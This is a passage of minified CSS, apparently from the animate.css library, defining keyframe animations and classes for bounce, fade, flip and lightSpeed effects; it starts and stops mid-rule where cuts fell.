scaleY(.9)}75%{-webkit-transform:translate3d(0,-10px,0) scaleY(.95);transform:translate3d(0,-10px,0) scaleY(.95)}90%{-webkit-transform:translate3d(0,5px,0) scaleY(.985);transform:translate3d(0,5px,0) scaleY(.985)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0) scaleX(3);transform:translate3d(-3000px,0,0) scaleX(3)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0) scaleX(1);transform:translate3d(25px,0,0) scaleX(1)}75%{-webkit-transform:translate3d(-10px,0,0) scaleX(.98);transform:translate3d(-10px,0,0) scaleX(.98)}90%{-webkit-transform:translate3d(5px,0,0) scaleX(.995);transform:translate3d(5px,0,0) scaleX(.995)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes bounceInLeft{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0) scaleX(3);transform:translate3d(-3000px,0,0) scaleX(3)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0) scaleX(1);transform:translate3d(25px,0,0) scaleX(1)}75%{-webkit-transform:translate3d(-10px,0,0) scaleX(.98);transform:translate3d(-10px,0,0) scaleX(.98)}90%{-webkit-transform:translate3d(5px,0,0) scaleX(.995);transform:translate3d(5px,0,0) scaleX(.995)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0) scaleX(3);transform:translate3d(3000px,0,0) scaleX(3)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0) scaleX(1);transform:translate3d(-25px,0,0) scaleX(1)}75%{-webkit-transform:translate3d(10px,0,0) scaleX(.98);transform:translate3d(10px,0,0) scaleX(.98)}90%{-webkit-transform:translate3d(-5px,0,0) scaleX(.995);transform:translate3d(-5px,0,0) scaleX(.995)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes bounceInRight{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0) scaleX(3);transform:translate3d(3000px,0,0) scaleX(3)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0) scaleX(1);transform:translate3d(-25px,0,0) scaleX(1)}75%{-webkit-transform:translate3d(10px,0,0) scaleX(.98);transform:translate3d(10px,0,0) scaleX(.98)}90%{-webkit-transform:translate3d(-5px,0,0) scaleX(.995);transform:translate3d(-5px,0,0) scaleX(.995)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0) scaleY(5);transform:translate3d(0,3000px,0) scaleY(5)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0) scaleY(.9);transform:translate3d(0,-20px,0) scaleY(.9)}75%{-webkit-transform:translate3d(0,10px,0) scaleY(.95);transform:translate3d(0,10px,0) scaleY(.95)}90%{-webkit-transform:translate3d(0,-5px,0) scaleY(.985);transform:translate3d(0,-5px,0) scaleY(.985)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0) scaleY(5);transform:translate3d(0,3000px,0) scaleY(5)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0) scaleY(.9);transform:translate3d(0,-20px,0) scaleY(.9)}75%{-webkit-transform:translate3d(0,10px,0) scaleY(.95);transform:translate3d(0,10px,0) scaleY(.95)}90%{-webkit-transform:translate3d(0,-5px,0) scaleY(.985);transform:translate3d(0,-5px,0) scaleY(.985)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.animate__bounceOut{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-duration:calc(var(--animate-duration)*0.75);animation-duration:calc(var(--animate-duration)*0.75);-webkit-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0) scaleY(.985);transform:translate3d(0,10px,0) scaleY(.985)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0) scaleY(.9);transform:translate3d(0,-20px,0) scaleY(.9)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0) scaleY(3);transform:translate3d(0,2000px,0) scaleY(3)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0) scaleY(.985);transform:translate3d(0,10px,0) scaleY(.985)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0) scaleY(.9);transform:translate3d(0,-20px,0) scaleY(.9)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0) scaleY(3);transform:translate3d(0,2000px,0) scaleY(3)}}.animate__bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0) scaleX(.9);transform:translate3d(20px,0,0) scaleX(.9)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0) scaleX(2);transform:translate3d(-2000px,0,0) scaleX(2)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0) scaleX(.9);transform:translate3d(20px,0,0) scaleX(.9)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0) scaleX(2);transform:translate3d(-2000px,0,0) scaleX(2)}}.animate__bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0) scaleX(.9);transform:translate3d(-20px,0,0) scaleX(.9)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0) scaleX(2);transform:translate3d(2000px,0,0) scaleX(2)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0) scaleX(.9);transform:translate3d(-20px,0,0) scaleX(.9)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0) scaleX(2);transform:translate3d(2000px,0,0) scaleX(2)}}.animate__bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0) scaleY(.985);transform:translate3d(0,-10px,0) scaleY(.985)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0) scaleY(.9);transform:translate3d(0,20px,0) scaleY(.9)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0) scaleY(3);transform:translate3d(0,-2000px,0) scaleY(3)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0) scaleY(.985);transform:translate3d(0,-10px,0) scaleY(.985)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0) scaleY(.9);transform:translate3d(0,20px,0) scaleY(.9)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0) scaleY(3);transform:translate3d(0,-2000px,0) scaleY(3)}}.animate__bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate__fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeInTopLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,-100%,0);transform:translate3d(-100%,-100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInTopLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,-100%,0);transform:translate3d(-100%,-100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInTopLeft{-webkit-animation-name:fadeInTopLeft;animation-name:fadeInTopLeft}@-webkit-keyframes fadeInTopRight{0%{opacity:0;-webkit-transform:translate3d(100%,-100%,0);transform:translate3d(100%,-100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInTopRight{0%{opacity:0;-webkit-transform:translate3d(100%,-100%,0);transform:translate3d(100%,-100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInTopRight{-webkit-animation-name:fadeInTopRight;animation-name:fadeInTopRight}@-webkit-keyframes fadeInBottomLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,100%,0);transform:translate3d(-100%,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInBottomLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,100%,0);transform:translate3d(-100%,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInBottomLeft{-webkit-animation-name:fadeInBottomLeft;animation-name:fadeInBottomLeft}@-webkit-keyframes fadeInBottomRight{0%{opacity:0;-webkit-transform:translate3d(100%,100%,0);transform:translate3d(100%,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInBottomRight{0%{opacity:0;-webkit-transform:translate3d(100%,100%,0);transform:translate3d(100%,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__fadeInBottomRight{-webkit-animation-name:fadeInBottomRight;animation-name:fadeInBottomRight}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}.animate__fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.animate__fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.animate__fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.animate__fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.animate__fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.animate__fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.animate__fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.animate__fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.animate__fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes fadeOutTopLeft{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(-100%,-100%,0);transform:translate3d(-100%,-100%,0)}}@keyframes fadeOutTopLeft{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(-100%,-100%,0);transform:translate3d(-100%,-100%,0)}}.animate__fadeOutTopLeft{-webkit-animation-name:fadeOutTopLeft;animation-name:fadeOutTopLeft}@-webkit-keyframes fadeOutTopRight{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(100%,-100%,0);transform:translate3d(100%,-100%,0)}}@keyframes fadeOutTopRight{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(100%,-100%,0);transform:translate3d(100%,-100%,0)}}.animate__fadeOutTopRight{-webkit-animation-name:fadeOutTopRight;animation-name:fadeOutTopRight}@-webkit-keyframes fadeOutBottomRight{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(100%,100%,0);transform:translate3d(100%,100%,0)}}@keyframes fadeOutBottomRight{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(100%,100%,0);transform:translate3d(100%,100%,0)}}.animate__fadeOutBottomRight{-webkit-animation-name:fadeOutBottomRight;animation-name:fadeOutBottomRight}@-webkit-keyframes fadeOutBottomLeft{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(-100%,100%,0);transform:translate3d(-100%,100%,0)}}@keyframes fadeOutBottomLeft{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(-100%,100%,0);transform:translate3d(-100%,100%,0)}}.animate__fadeOutBottomLeft{-webkit-animation-name:fadeOutBottomLeft;animation-name:fadeOutBottomLeft}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) scaleX(1) translateZ(0) rotateY(-1turn);transform:perspective(400px) scaleX(1) translateZ(0) rotateY(-1turn);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-190deg);transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-170deg);transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95) translateZ(0) rotateY(0deg);transform:perspective(400px) scale3d(.95,.95,.95) translateZ(0) rotateY(0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px) scaleX(1) translateZ(0) rotateY(0deg);transform:perspective(400px) scaleX(1) translateZ(0) rotateY(0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{0%{-webkit-transform:perspective(400px) scaleX(1) translateZ(0) rotateY(-1turn);transform:perspective(400px) scaleX(1) translateZ(0) rotateY(-1turn);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-190deg);transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-170deg);transform:perspective(400px) scaleX(1) translateZ(150px) rotateY(-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95) translateZ(0) rotateY(0deg);transform:perspective(400px) scale3d(.95,.95,.95) translateZ(0) rotateY(0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px) scaleX(1) translateZ(0) rotateY(0deg);transform:perspective(400px) scaleX(1) translateZ(0) rotateY(0deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animate__animated.animate__flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.animate__flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.animate__flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);opacity:0}}@keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);opacity:0}}.animate__flipOutX{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-duration:calc(var(--animate-duration)*0.75);animation-duration:calc(var(--animate-duration)*0.75);-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotateY(-15deg);transform:perspective(400px) rotateY(-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);opacity:0}}@keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotateY(-15deg);transform:perspective(400px) rotateY(-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);opacity:0}}.animate__flipOutY{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-duration:calc(var(--animate-duration)*0.75);animation-duration:calc(var(--animate-duration)*0.75);-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes lightSpeedInRight{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes lightSpeedInRight{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__lightSpeedInRight{-webkit-animation-name:lightSpeedInRight;animation-name:lightSpeedInRight;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedInLeft{0%{-webkit-transform:translate3d(-100%,0,0) skewX(30deg);transform:translate3d(-100%,0,0) skewX(30deg);opacity:0}60%{-webkit-transform:skewX(-20deg);transform:skewX(-20deg);opacity:1}80%{-webkit-transform:skewX(5deg);transform:skewX(5deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes lightSpeedInLeft{0%{-webkit-transform:translate3d(-100%,0,0) skewX(30deg);transform:translate3d(-100%,0,0) skewX(30deg);opacity:0}60%{-webkit-transform:skewX(-20deg);transform:skewX(-20deg);opacity:1}80%{-webkit-transform:skewX(5deg);transform:skewX(5deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__lightSpeedInLeft{-webkit-animation-name:lightSpeedInLeft;animation-name:lightSpeedInLeft;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOutRight{0%{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOutRight{0%{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.animate__lightSpeedOutRight{-webkit-animation-name:lightSpeedOutRight;animation-name:lightSpeedOutRight;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes lightSpeedOutLeft{0%{opacity:1}to{-webkit-transform:translate3d(-100%,0,0) skewX(-30deg);transform:translate3d(-100%,0,0) skewX(-30deg);opacity:0}}@keyframes lightSpeedOutLeft{0%{opacity:1}to{-webkit-transform:translate3d(-100%,0,0) skewX(-30deg);transform:translate3d(-100%,0,0) skewX(-30deg);opacity:0}}.animate__lightSpeedOutLeft{-webkit-animation-name:lightSpeedOutLeft;animation-name:lightSpeedOutLeft;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{0%{-webkit-transform:rotate(-200deg);transform:rotate(-200deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}@keyframes 